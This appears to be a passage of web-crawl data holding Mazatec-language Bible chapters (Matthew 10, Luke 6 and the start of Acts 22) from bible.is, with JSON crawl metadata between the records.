6Ya̱á tanguíchòn jñà xi̱ta̱ na̱xa̱ndá Israel koni orrè xi kichijà. 7K'e̱ nga onguió ti̱nókjoa̱ya koa̱ tixón: \"Jye kjòchrañàt'aà‑nò na̱chrjein nga jcha̱a kó s'ín otíxoma jè xi ngajmiì nchrobá‑ne.\" 8Ti̱ndaà‑nò xi̱ta̱ xi xk'én; ti̱tsjeè xi tíbindojno chrjoa̱ yijo‑la̱; ti̱kjaáya‑là xi jye k'en; na̱chrjekàjñoò ini̱ma̱ ch'o‑la̱ nei̱í xi tíjiìn ini̱ma̱‑la̱ xi̱ta̱. Tà kjo̱tjò kitjoé‑nò nga'ñó koi, ti̱koa̱á tà kjo̱tjò tjiì ngajo‑là jñà xi̱ta̱. 9'Ni̱mé to̱n ch'aà. 10Kì na̱'ya ch'aà xi i̱t'aà ts'e̱ ndi̱yá. Mìkiì tsà jò na̱chro̱ ch'aà. Ti̱koa̱á mìkiì xo̱xté tsjayaà. Ti̱koa̱á kì yá garrote ch'aà. Nga̱ jè xi̱ta̱ xi síxá, mochjeén‑né nga k'oi̱‑la̱ tsojmì xi ski̱ne̱. 11'K'e̱ nga kijchoò na̱xa̱ndá iì, o xi na̱xa̱ndá jtobá ti̱nchátsjioò jngoò ni'ya xi ndaà xi̱ta̱ nei‑la̱, ya̱á titsa̱jnako̱o skanda k'e̱ nga onguí‑nò. 12K'e̱ nga ki̱tjás'e̱en ni'ya, ti̱ixat'aà jñà xi̱ta̱ nei‑la̱ ni'ya. 13Tsà jñà xi̱ta̱ nei‑la̱ ni'ya skoétjò‑nò, ti̱chikon‑t'ioòn nga s'e̱‑la̱ kjoa̱'nchán, ta̱nga tsà mìkiì skoétjò‑nò, tà sa̱á jñò s'e̱‑nò kjoa̱'nchán nga si̱ìchikon‑t'in‑nò Nainá. 14Tsà mìkiì skoétjò‑nò, ko̱ tsà majìn‑la̱ kji̱'nchré 'én‑nò, tìtjo̱o ni'ya jè, o na̱xa̱ndá jè, koa̱ titsajneè chijo‑la̱ ndso̱koò. 15O̱kixi̱í xi xan‑nò, na̱xa̱ndá jè, ìsa̱á tse kjo̱'in s'e̱‑la̱ jè na̱chrjein k'e̱ nga si̱ndaàjiìn‑la̱ xi̱ta̱, mì k'oa̱á‑ne koni jñà xi̱ta̱ ts'e̱ na̱xa̱ndá Sodoma ko̱ Gomorra. 16'Ti̱ná'ya, 'a̱n, k'oa̱á s'ín sìkasén‑nò koni tsà orrè ya̱ i̱jiìn‑la̱ cho̱ tse̱jén. Jñò, titsa̱jnandaà ni̱ta̱ mé kjoa̱‑ne koni tsà ye̱ xi 'ñó maña̱ ti̱koa̱ indaàkjoa̱ kàtama koni tsà ni̱se paloma. 17Ndaà ti̱kinda̱a yijo‑nò. Jñà xi̱ta̱ koi, ján ski̱nìt'aà‑nò nguixko̱n xi̱ta̱xá koa̱ ska̱àn‑ko̱o‑nò ya̱ ni'ya i̱ngo̱ sinagoga. 18Skanda ján kji̱ko̱‑nò nguixko̱n xi̱ta̱xá gobernador ko̱ xi̱ta̱xá ítjòn, tà koií kjoa̱‑la̱ i̱t'aà ts'a̱n. K'oa̱á s'ín ko̱ma ki̱nókjoa̱‑là 'én xi ts'a̱n jñà xi̱ta̱xá ko̱ jñà xi mìtsà xi̱ta̱ judío. 19K'e̱ nga ski̱nìt'aà‑nò ñánda títsa̱jna xi̱ta̱xá, kì makájno‑nò kós'ín ki̱nókjoa̱a, o kós'ín kixón. Nga ti̱k'e̱é‑ne, Nainá tsjá‑nò 'én xi ki̱nókjoa̱a. 20Nga mìtsà jñò xi ki̱nókjoa̱a; jè Ini̱ma̱ Tsjeè‑la̱ Nainá tsjá‑nò kjo̱hítsjeèn nga ma ki̱nókjoa̱jiìn‑là jñà xi̱ta̱. 21'Ti̱jè‑ne 'ndse̱ si̱ìnga̱tsja 'ndse̱ xi̱ta̱ nga si̱ìk'en. Jè na̱'èn‑la̱ si̱ìnga̱tsja ki'ndí‑la̱ nga si̱ìk'en xi̱ta̱. Jñà i̱xti‑la̱ si̱ìnga̱tsja na̱'èn‑la̱ nga ki̱yá. 22Ngats'iì xi̱ta̱ i̱sò'nde ko̱jtikeè‑nò xi kjoa̱ ts'a̱n; ta̱nga jè xi̱ta̱ xi kixi̱ kíjna skanda kjoe̱het'aà‑ne, jè‑né xi ki̱tjokàjiìn kjo̱'in. 23K'e̱ nga kji̱tji̱ngui kondra̱‑nò xi̱ta̱ xi jngoò na̱xa̱ndá, ti̱yó, xìn na̱xa̱ndá tanguió. O̱kixi̱í xi xan‑nò, 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, ìsa̱á ítjòn kjoia̱a nga ti̱kj'eè onguió yije kóho̱kji na̱xa̱ndá Israel. 24'Jngoò xi̱ta̱ xi kota'yà mìtsà ìsa̱ tíjna ítjòn koni maestro‑la̱; ti̱koa̱á jngoò xi̱ta̱ xi chi̱'nda tíjna mìtsà ìsa̱ tíjna ítjòn‑la̱ nei‑la̱. 25Jè xi̱ta̱ xi kota'yà ko̱jngoó ikon tsà k'oa̱s'ín ki̱jchò koni jè maestro‑la̱ ko̱ jè xi chi̱'nda tíjna tsà tà k'oa̱s'ín kíjna koni jè nei‑la̱. Jè xi na̱'èn tíjna, xi̱ta̱ nei̱í tsò‑la̱; jñà xi i̱xti‑la̱, ìsa̱á tsato ch'o ki̱tso̱‑la̱. 26'Kì xi̱ta̱ tsakjoòn‑là. Nga nì mé tjín xi tíjtsa'ma xi mìkiì ko̱tsejèn; ngats'iì xi tjí'ma, jcha̱á‑la̱. 27Jè kjoa̱ xi k'oa̱ xan‑nò k'e̱ nga jñò choòn, k'oa̱á tixón k'e̱ nga na̱chrjein; koa̱ jè xi kjoa̱'ma xan‑nò, jñò ti̱nókjoa̱ya kóho̱kji i̱sò'nga ni'ya. 28Kì tsakjoòn‑là jè xi ma‑la̱ sík'en yijo‑ná, ta̱nga ini̱ma̱‑ná mìkiì ko̱ma‑la̱ si̱ìk'en. Jè xi ti̱skón‑là xi ma‑la̱ sík'en yijo‑ná ko̱ ini̱ma̱‑ná nga kinìjiìn‑ná ni'ín ts'e̱ kjo̱'in. 29'Maá satíjna jò ndí ni̱se na̱s'ín tà jngoò ma to̱n‑ná. Ta̱nga ni̱jngoò ni̱se ki̱yá tsà mìkiì tsjá'nde Nainá. 30Jñò, skanda tsja̱skoò tíxke̱ya yije‑la̱ Nainá. 31Koií kjoa̱‑la̱, kì tsakjoòn‑jèn. Ìsa̱á tse chjí‑nò mì k'oa̱á‑ne na̱s'ín kjìn ma ndí ni̱se. 32'Ni̱ta̱ yá‑ne xi tsjá 'én nga nguixko̱n xi̱ta̱ nga 'a̱n fìt'aà‑na, 'a̱n k'oa̱á ti̱ xán nga nguixko̱n Na̱'èn‑na̱ xi tíjna ngajmiì nga xi̱ta̱ ts'a̱n‑ná. 33Ta̱nga jè xi kjójna'mat'in‑na nga nguixko̱n xi̱ta̱, 'a̱n k'oa̱á ti̱s'ín kójna'mat'ian i̱t'aà ts'e̱ nga nguixko̱n Na̱'èn‑na̱ xi tíjna ngajmiì. 34'Kì k'oa̱á s'ín nìkítsjeèn nga kjoa̱'nchán j'iìkoa̱a i̱sò'nde. Mì kjoa̱'nchán j'iìkoa̱a, ta̱ sa̱á kjoa̱jchán j'iìkoa̱a. 35Koií xá j'i̱‑na nga jñà xi̱ta̱, ti̱jè‑ne na̱'èn‑la̱ ko̱ma‑ne kondra̱‑la̱; jè tsòti‑la̱, ti̱jè ko̱ma‑ne kondra̱‑la̱ nea̱‑la̱; ko̱ jè kja'nda‑la̱, ti̱jè na̱chíya‑la̱ ko̱ma‑ne kondra̱‑la̱. 36Nga jngoò ìjngoò xi̱ta̱, ti̱jñà‑ne xi̱ta̱ ni'ya‑la̱ ko̱ma kondra̱‑la̱. 37'Jè xi ìsa̱ tjòkeè na̱'èn‑la̱ ko̱ nea̱‑la̱ ko̱ 'a̱n mìkiì matsjakeè‑na, mìkiì ok'ìn‑la̱ nga xi̱ta̱‑na̱ xán‑la̱; ko̱ jè xi ìsa̱ tjòkeè ti‑la̱, o jè tsòti‑la̱, ko̱ 'a̱n mìkiì matsjakeè‑na, mìkiì ok'ìn‑la̱ nga xi̱ta̱‑na̱ xán‑la̱. 38Jè xi kjo̱'in tsakjón‑la̱ nga majìn‑la̱ ojen krò‑la̱ nga 'a̱n kji̱nchrobà tji̱ngui‑na mìkiì ok'ìn‑la̱ nga xi̱ta̱ ts'a̱n xán‑la̱. 39Jè xi̱ta̱ xi ndaà ótsji kós'ín ma si̱ìkinda̱ yijo‑la̱ nga mì mé kjo̱'in sa̱kò‑la̱, tà sa̱á si̱ìchija‑né ko̱ kjo̱'in kíjnajiìn; ta̱nga jè xi tíjnandaà nga tsjá yijo‑la̱ nga ki̱yá xi kjoa̱ ts'a̱n, sa̱kò‑la̱ kjoa̱binachon nga i̱t'aà ts'a̱n ndaà kíjna. 40'Jè xi̱ta̱ xi skoétjò‑nò, 'a̱n kjoétjò‑na; ko̱ jè xi skoétjò‑na, jè kjoétjò xi kisìkasén‑na. 41Jè xi̱ta̱ xi kjoétjò jngoò xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá, koií kjoa̱‑la̱ nga 'én‑la̱ Nainá chja̱, k'oa̱á ti̱s'ín ko̱chikon‑t'in koni jè xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá. Ko̱ jè xi̱ta̱ xi skoétjò jngoò xi̱ta̱ kixi̱, koií kjoa̱‑la̱ nga ndaà s'ín, ti̱koa̱á tà ngásòn ko̱chikon‑t'in koni jè xi̱ta̱ kixi̱. 42Ni̱ta̱ yá‑ne xi tsjá jngoò chi̱tsín‑la̱ nandá 'nchán jngoò ndí xi̱ta̱ i̱ma̱‑na̱ koií kjoa̱‑la̱ nga 'a̱n kota'yàt'aà‑na, o̱kixi̱‑né ko̱chikon‑t'in‑né.\nSan Mateo 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/10","date":"2013-12-13T07:02:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164908494\/warc\/CC-MAIN-20131204134828-00040-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":927,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.291,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jngo ni̱chjin 'kia̱ nga ni̱chjin níkjáya, ya̱á 'ja Jesús ya̱ ñánda̱ tjítje̱ trigo. Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ tsateé i'ka trigo, tsaféya ya̱ a̱ya tsja, a̱kjòn iskine. 2Tjín i'ka xi̱ta̱ fariseo ra kitsò: ―¿Mé‑ni nga ko̱'sín 'nià‑no kjoa̱ ra mì kì tjí'nde nga ko̱'sín ko̱ma 'kia̱ nga ni̱chjin níkjáya? 3Kiìchja̱ Jesús, kitsò‑la̱: ―¿A kjeé chitá'yá jiòn xa̱jo̱n ñánda̱ nga tíchja̱ koni 'sín ki'sìn india jè xi̱ta̱ jchínga‑ná ra tsi'kìn David ko̱ jñà xi̱ta̱ ra ta̱ña tji̱ko̱ 'kia̱ nga kjòhojò‑la̱? 4'Jaha'sen ni'ya‑la̱ Nainá; iskábé ni̱ño̱ nchra̱jín ra ijye Nainá kjonga̱tsja nga iskine, ti̱'koa̱á kitsjà‑la̱ xi̱ta̱‑la̱ ra tji̱ko̱ nga iskine, jñà ra mì kì tjí'nde‑la̱ nga ski̱ne̱. Nga̱ ta jñá na̱'mì tjí'nde‑la̱ nga ma kjine. 5Jesús kitsò‑isa‑la̱: ―'A̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, 'a̱án batexóma‑la̱ jè ni̱chjin níkjáya. 6Ìjngo 'ká‑isa 'kia̱ nga ni̱chjin níkjáya, Jesús 'jaha'sen ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío; tsakón‑ya‑la̱ xi̱ta̱. Ya̱á tíjna jngo xi̱ta̱ ra kixì'ta tsja nga kixi̱. 7Jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, ko̱ xi̱ta̱ fariseo, i̱nchisíkinda̱á Jesús a si̱ìndaá‑ni jè xi̱ta̱ ra kiya 'kia̱ nga ni̱chjin níkjáya, mé‑ni nga ko̱ma mé ra koa̱ànè jé‑la̱. 8Tanga Jesús ijyeé be kó'sín i̱nchisíkítsjen xi̱ta̱ kìi̱. Kitsó‑la̱ jè xi̱ta̱ ra kixì'ta jngo tsja: ―Ti̱sítji̱in, ti̱si̱jni ya̱ a̱jin masen‑la̱ xi̱ta̱. Xi̱ta̱ ra̱kìi̱ tsasítje̱n‑ní, tsasijna kixi̱. 9Jesús, 'kia̱á kitsò‑la̱ nga'tsì xi̱ta̱ ra tjíhijyo: ―Jngo kjoa̱ skonangi‑no: ¿Mé ra tjí'nde nga 'sie̱én 'kia̱ nga ni̱chjin níkjáya, a ndaá 'sie̱én o̱ ra 'choó 'sie̱én? ¿A si̱nda‑né jngo xi̱ta̱ o̱ ra si̱'ken‑né? 'Koa̱á tixó jiòn‑ni̱. 10Jesús iskotsíjen ijye‑la̱ kóhotjín xi̱ta̱ ra tjíhijyondi‑la̱. 'Kia̱á kitsò‑la̱ jè xi̱ta̱ ra kixì'ta tsja: ―Tjèn‑ndajì ndsi̱i. Xi̱ta̱ ra̱kìi̱, tsijmé tsja; ko̱ kjonda‑ni jè tsja ra kixì'ta. 11Jñà xi̱ta̱ fariseo, 'ñó jti kjomà‑la̱; 'kia̱á tsikí'tsia̱ nga tsajo̱óya‑ni mé ra ma si̱ìko̱ Jesús. 12Ti̱jñá‑ni ni̱chjin kìi̱, Jesús ya̱á kijìmijìn ya̱ jngo nindo. Jngo ni̱tje̱n kiìchja̱'ta‑la̱ Nainá. 13'Kia̱ nga ki'se i̱sén kiìchja̱‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱; a̱kjòn tejò ma‑ni ra jahájin ra ma tsikíxáya‑la̱. 14Jè Simón, ra ti̱'koa̱ Pedro tsikí'ta 'í‑la̱; Andrés, ra 'ndse̱ ma Simón; Jacobo; Juan; Felipe; Bartolomé; 15Mateo; Tomás; Jacobo, ti‑la̱ Alfeo; Simón, ra ya̱ fì'ta‑la̱ kjo̱téxoma 'tse̱ xi̱ta̱ Celote; 16Judas, ti‑la̱ Jacobo; ko̱ Judas Iscariote, jè ra isìnga̱tsja Jesús xi̱ta̱ kondra̱‑la̱ a̱skan‑nioo̱. 17Jesús itjojen‑ni ya̱ nindo, tji̱ko̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱. 'Jií jngo i̱'nde ñánda̱ a̱sòn chon; ya̱á tsikitsa̱jna. Kjín ma‑ni xi̱ta̱‑la̱ ra ya̱ i̱nchikoñá‑la̱; xi̱ta̱ ra ya̱ inchrabà‑ni nga tíjngo i̱'nde Judea ko̱ na̱xi̱ndá Jerusalén ko̱ ra inchrabà‑ni Tiro ko̱ Sidón, na̱xi̱ndá ra kjihijyondí ndáchikon. Kií xá 'ji‑ni nga kji̱'nchré‑la̱ Jesús, ti̱'koa̱ mejèn‑la̱ nga ko̱nda‑ni 'chin ra tjín‑la̱. 18Jñà xi̱ta̱ ra inìma̱ 'cho‑la̱ ni̱í síjti‑la̱, ti̱'koa̱á kjonda‑ni. 19Ta nga'tsì xi̱ta̱, mején‑la̱ koa̱à'ta‑la̱ tsja ya̱ ijo‑la̱ Jesús, tà nga̱tjì‑la̱ 'ñó tse nga'ñó tíbitjojin ijo‑la̱ ra manda‑ni xi̱ta̱. 20Jesús iskotsíjen'á jñà xi̱ta̱ ra kotá'yá'ta‑la̱ kitsò‑la̱: ―¡Mé ta̱ nda‑najiòn ra xi̱ta̱ i̱ma̱ 'mì‑no, nga̱ tsa̱jión‑nó nga'tsì kjo̱nda ra tjín a̱'ta 'tse̱ xi̱ta̱ ra batéxoma‑la̱ Nainá! 21'Mé ta̱ nda‑najiòn ra ajò‑no 'ndi̱ 'ndi̱, ko̱skií‑no a̱skan‑nioo̱. 'Mé ta̱ nda‑najiòn ra chindáya 'ndi̱ 'ndi̱, ki̱jno̱chaá‑no a̱skan‑nioo̱. 22'Mé ta̱ nda‑najiòn 'kia̱ nga si̱ìjtike‑no xi̱ta̱ ra tà nga̱tjì tsa̱'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, nga minchá'taxìn‑no, nga 'cho chja̱jno‑no, nga bachrjengi‑no koni tsa jngo ra xi̱ta̱ 'tse̱n. 23Tsja 'tè‑la takòn ko̱ tsja 'tè‑la inìma̱‑no ni̱chjin kìi̱; nga̱ ya̱ ján ngajmi, tseé tjín‑ni kjo̱tjò ra tjábé‑no. Jñà xi̱ta̱ jchínga‑la̱ xi̱ta̱ ra beton‑no, 'koa̱á ti̱'sín isìko̱ jñà xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱. 24'Tanga, i̱ma̱‑ró‑no jiòn ra xi̱ta̱ nchi̱ná 'mì‑no, nga̱ ijyeé nda i̱nchinìsin‑la ijo‑no i̱ i̱sà'nde. 25'I̱ma̱‑ró‑no ra ski titsa̱jna 'ndi̱ 'ndi̱; ko̱hajó‑no ra ko̱ma a̱skan‑nioo̱. 'I̱ma̱‑ró‑no ra mijnocha 'ndi̱ 'ndi̱; ra a̱skan‑nioo̱, ko̱baá‑no ti̱'koa̱á chjíndáya‑no. 26'I̱ma̱‑ró‑no ra jiòn 'kia̱ nga nda síkítsa̱jna ijye‑no xi̱ta̱. Jñà xi̱ta̱ jchínga‑no, 'koa̱á ti̱'sín nda isíkítsa̱jna jñà xi̱ta̱ ra 'én ndiso kiìchja̱ya. 27'Tanga jiòn ra i̱nchina'yá, 'koa̱á xin‑no: Tsjacha 'tia̱àn kondra̱‑no, nda ti̱ko̱o jè ra jtike‑no. 28Ti̱jé'tà‑la Nainá nga katasíchikon'tin jñà ra chja̱jno‑no, ko̱ titsa'batjiò jñà ra 'cho síko̱‑no. 29Jè ra si̱ìjtsin'tá jtsa‑no, ti̱'koa̱á 'ti̱‑la jè jtsa‑no ra ìjngo nga katasíjtsin'tá‑te. Jè ra fa'án nikje tsja̱‑no, ti̱'koa̱á 'ti̱‑la̱ jè na̱chro̱‑no. 30Tsa yá ra síjé tsajmì ra tjín‑no, 'ti̱‑la; tsa yá ra ta ko̱'sín ska̱ábé tsajmì‑no, kì ti̱ tsja níjé‑ila. 31Koni 'sín mejèn‑no nga si̱ìko̱‑no xi̱ta̱, 'koa̱á ti̱'sín ti̱ko̱‑te ra jiòn. 32'Nga̱ tsa ta jñá ko̱tsjacha jiòn jñà xi̱ta̱ ra nda matsjake‑no, ¿mé kjo̱nda ra 'se̱‑no? Nga̱ 'koa̱á ti̱'sín matsjake‑te xákjén jñà xi̱ta̱ ra mì kì bexkón Nainá. 33Tsa tà jñá nda si̱ko̱o xi̱ta̱ ra nda síko̱‑no, ¿mé kjo̱nda ra 'se̱‑no? Jñà xi̱ta̱ ra mì bexkón Nainá, 'koa̱á ti̱'sín síko̱ xákjén. 34Tsa ta jñá si̱kiña‑la jñà ra 'yaxkon nga tsjá ngajo‑no, ti̱'koa̱á ni̱mé kjo̱nda ra sa̱kò‑no. Nga̱ 'koa̱á ti̱'sín síkiña‑la̱ xákjín jñà xi̱ta̱ ra mì kì bexkón Nainá, nga̱ ijyeé tjíjin‑la̱ nga tsjá ngajo‑ila̱ xákjín. 35Tsjacha 'tia̱àn kondra̱‑no; nda ti̱ko̱ò; ti̱kìña‑la mé ra síjé‑no; kì tà chjàn mé ra chiñá‑la ra a̱'ta 'tse̱. Tsa ko̱'sín 'sia̱an, tseé tjín‑ni kjo̱tjò ra tjábé‑no. I̱xti‑la̱ Nainá ra 'ñó 'nga tíjna ko̱ma jiòn, nga̱ jè Nainá tjín‑te‑la̱ kjo̱hi̱ma̱takòn a̱'ta 'tse̱ xi̱ta̱ ra 'nga ikon ko̱ ra 'cho 'sío̱n. 36Jcha̱hi̱ma̱takòn xàngio̱o koni 'sín behi̱ma̱takòn‑no Nainá ra Na̱'ìn 'mì‑la. 37'Kì jé‑la̱ xàngio̱o nìkinda̱a ko̱ kì jé fanè‑la̱ xàngio̱o mé‑ni nga jè Nainá mì tsa jé‑no si̱ìkinda̱ ko̱ mì tsa jé koa̱ànè‑no. Ti̱jchaà'ta‑la jé‑la̱ xàngio̱o mé‑ni nga ti̱'koa̱á Nainá si̱hijcha'ta‑no jè jé‑no. 38'Ti̱‑la xàngio̱o; jè Nainá tsjá ngajo‑no; nda kjón si̱ìchi̱ba̱‑no jngo chi̱ba̱ ra nda kjón kitse, ra 'ñó i̱jncha, ra ngi tíxaájten‑tjì‑ní nga ki̱ncha xijtsa‑no. Nga̱ jè chi̱ba̱ ra si̱chi̱ba̱‑la xàngio̱o, ti̱jé ko̱chi̱ba̱ ngajo‑no. 39Jesús tsi'kéna̱jmí jngo‑la̱ kjoa̱ ra isíngásòn‑kjo a̱'ta 'tse̱ jngo xi̱ta̱ ra xka̱ ko̱ jè ra bakón‑ya; kitsò‑la̱: ―Jngo xi̱ta̱ xka̱, mì kì ko̱ma ko̱kòn‑la̱ ndi̱yá jngo xi̱ta̱ ra ti̱'koa̱á xka̱‑te. Ya̱á ska̱ya nga̱jo̱, ngajòo̱. 40'Koa̱á 'sín tjín 'tse̱ xi̱ta̱ ra kotá'yá; mì tsa isa̱ tsato ma‑la̱ koni jè maestro ra bakón‑ya‑la̱. 'Kia̱ nga ijye kje̱he'tin‑la̱ nga sko̱óté'yá ti̱'koa̱á ka̱ma‑te‑la̱ koni jè maestro‑la̱. 41'[¿Mé‑ni jé‑la̱ xàngi̱i nikìnda̱‑ni ko̱ mì tsa jè nikìndi̱ jé‑li?] ¿Mé‑ni jè chitsíjen‑ila̱ jè tjé ra kjingi xko̱n xàngi̱i, ko̱ mì tsa jè nikìndi̱ jè yá chi̱so̱ ra kjingi jè xkìi̱n? 42Tsa nda mí 'ya‑nì jè yá chi̱so̱ ra kjingi xkìi̱n, ¿mé‑ni ko̱'sín 'mì‑la̱ jè 'ndsìi̱: \"'Ndsè, ti̱'nde‑ná nga kochrjéngia jè tjé ra kjingi ya̱ xkìn\"? Ji̱, xi̱ta̱ ra jò i̱sén tjín‑li; ti̱náchrjengi ítjìn chi̱so̱ ra kjingi tsa̱ji, mé‑ni nga nda ko̱tsíjen‑li, nga ma ki̱náchrjengi tjé ra kjingi ya̱ xko̱n xàngi̱i. 43'Ni̱jngo yá ra nda, 'cho kjòn to ra bajà‑la̱; ti̱'koa̱á mì tsa to nda bajà‑la̱ jè ra mì tsa yá nda. 44Nga jngó jngó sko̱ya yá, 'koa̱á 'sín 'yaxkon‑la̱ koni kjòn to ra bajà‑la̱. Jè to ra 'mì igo̱, mì tsa ya̱ bajà‑la̱ yá na'yá. Ti̱'koa̱á jñà to uva mì tsa ya̱ bajà‑la̱ jñà na'yá xi'nchro. 45(Koni 'sín kjòn yá, 'koa̱á ti̱'sín kjòn xi̱ta̱.) Jè xi̱ta̱ ra nda xi̱ta̱, 'én ndaá chja̱, nga̱ kjoa̱nda tjíjin ya̱ inìma̱‑la̱, ko̱ jè ra xi̱ta̱ 'cho, 'én 'choó chja̱, nga̱ kjoa̱'choó tjíjin ya̱ inìma̱‑la̱; koni 'sín tsò kjo̱bítsjen ra tjíjin ya̱ inìma̱‑la̱, 'koa̱á 'sín tsò 'én ra chja̱. 46'¿Mé‑ni ko̱'sín 'mì‑nájiòn nga bixó nga 'a̱n tíjna̱ ítjòn‑no, ko̱ mì kì nihitjasòn‑no koni 'sín xin‑no? 47'Koa̱á xín‑no yá ra mangásòn‑ko̱ jè xi̱ta̱ ra 'a̱n fì'ta‑na, ra 'nchré ko̱ ra síhitjasòn koni 'sín xiaa̱n. 48Jé mangásòn‑ko̱ jngo xi̱ta̱ ra tsikínda ni'ya‑la̱; 'ñó na̱nga̱ tsjà'ngi; nga tsikíjna tjà'tsin chrjó ni'ya‑la̱ ya̱ a̱sòn na̱xi̱. 'Kia̱ nga kjohi'i xa̱ngá nandá nga 'ji kánè jè ni'ya ra̱kìi̱; ni̱mé ra isìko̱, nga̱ ya̱á tjínda‑la̱ ya̱ a̱sòn na̱xi̱. 49Tanga jè xi̱ta̱ ra 'nchré‑na koni 'sín xiaa̱n ko̱ mì kì síhitjasòn, 'koa̱á 'sín jngoya‑la̱ koni jngo xi̱ta̱ ra ya̱ tsikínda'tá ni'ya‑la̱ ya̱ a̱'ta nangi; mì kì nda tsikínda tjà'tsin chrjó ni'ya; 'kia̱ nga 'ji nandá nga ijchòka'tá'ñó‑la̱ ni'ya; itsón‑ña‑ní ko̱ ngi ixojen‑ní.\nSan Lucas 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/6","date":"2013-12-10T21:01:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164025146\/warc\/CC-MAIN-20131204133345-00063-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000072717666626}","num_words":1256,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1―Ngats'ioò xi xi̱ta̱ judío xinguia̱á 'mì‑nò ko̱ xi xi̱ta̱ jchínga, ti̱ná'ya 'én kixi̱ xi kichjàko̱‑nò nga kichjàtjià yijo‑na̱. 2Jñà xi̱ta̱, k'e̱ nga kiì'nchré nga 'én hebreo kiìchja̱, ìsa̱á jyò tsibìtsa̱jna. K'e̱é kitsò Pablo: 3―'A̱n, xi̱ta̱ judío‑ná. Ya̱á kits'ian Tarso, na̱xa̱ndá xi chja̱‑ne Cilicia. Ta̱nga i̱í Jerusalén kòjchá. Jè kiskoòta'yàt'aà‑la̱ jè maestro Gamaliel. Nguì kixi̱í tsakóya‑na koni s'ín tjín kjo̱tíxoma‑la̱ xi̱ta̱ jchínga‑ná. Nguì tíjngoò takoàn nga sìkitasòn‑la̱ Nainá koni s'ín 'nè jñò skanda na̱chrjein i̱'ndei̱. 4Nga sa̱ kjòtseé, kiìtji̱ngui kondra̱‑la̱ jñà xi̱ta̱ xi fìtji̱ngui‑la̱ ndi̱yá xi̱tse̱ jè, skanda mejèn‑na kisik'én. Tsibìt'aà'ñoá, ti̱koa̱ kiskinìs'en nda̱yá íchjín, íchjá. 5Jñà xi̱ta̱ sko̱‑la̱ no̱'miì, ngats'iì xi̱ta̱ jchínga, ndaà kijtseè kjoa̱ koi. Jñà kitsjaà‑na xo̱jo̱n nga kiìko̱‑la̱ xi̱ta̱ xinguia̱á xi títsa̱jna Damasco nga ko̱ma kji̱nchrobàkoa̱a i̱ Jerusalén ngats'iì xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo mé‑ne nga s'e̱‑la̱ kjo̱'in. 6'K'e̱ nga jye kjo̱meè bijchoa chrañàt'aà‑la̱ Damasco, ijchò‑la tsà nchisen, tà ni̱to̱ón tsatsejèn jngoò‑na ni'ín xi ngajmiì inchrobà‑ne xi kjòhiseèn kóho̱kji nga jngoò itjandiì‑na koni s'ín tìfia. 7'A̱n, kiskaàjndoòt'aà nangui. Ki'nchrè 'én xi i̱jiìn i̱sén kiìchja̱, kitsò: \"Saulo, Saulo, ¿mé‑ne 'a̱n tì'mìtji̱ngui kondra̱‑ná?\" 8K'e̱é kiskònangui‑la̱, kixan‑la̱: \"¿Yá‑ne ngaji̱ Na̱'èn?\" Kitsò‑na: \"'A̱n‑ná xi 'mì‑na Jesús xi Nazaret ts'a̱n xi ji̱ tì'mìtji̱ngui kondra̱‑ná.\" 9Jñà xi̱ta̱ xi tji̱koa̱, kijtseè ni'ín nga kjòhiseèn, tà kitsakjòn‑né, ta̱nga mìkiì ki'ya‑la̱ 'én xi 'a̱n kiìchja̱‑na. 10K'e̱é kiskònangui‑la̱ kixan‑la̱: \"¿Mé xi s'iaàn, Na̱'èn?\" Kitsò‑na: \"Ti̱sítji̱in, t'in kixi̱ Damasco. Ya̱á s'e̱no̱jmí yije‑lè kó s'ín tjíndaà kjoa̱ xi s'i̱in.\" 11Koi kjoa̱‑la̱ nga 'ñó kjòhiseèn ni'ín, 'a̱n mì ti̱ kiì kjòtsejèn‑na. Jñà xi̱ta̱ xi tji̱koa̱ kitsobà'ñó ndsa̱a nga kiìko̱‑na skanda Damasco. 12'Ya̱ Damasco tíjna jngoò xi̱ta̱ xi 'mì Ananías xi ndaà beèxkón Nainá koni s'ín tíchja̱ kjo̱tíxoma ts'e̱ Moisés. Jè Ananías ti̱koa̱á ndaà yaxkón i̱t'aà ts'e̱ xi̱ta̱ judío xi títsa̱jna ya̱ i̱'nde jè. 13K'e̱ nga j'iì katsejèn‑na Ananías, kitsò‑na: \"'Ndsè Saulo, kàtatáx'a̱‑ne xkoiìn.\" Ti̱k'e̱é‑ne kitáx'a̱‑ne xkoaàn i̱kjoàn kiskoò'an Ananías. 14Kitsò ìsa̱‑na: \"Nainá xi ts'e̱ xi̱ta̱ jchínga‑ná jaàjiìn‑lè nga jcha̱xkoin mé xi mejèn‑la̱; 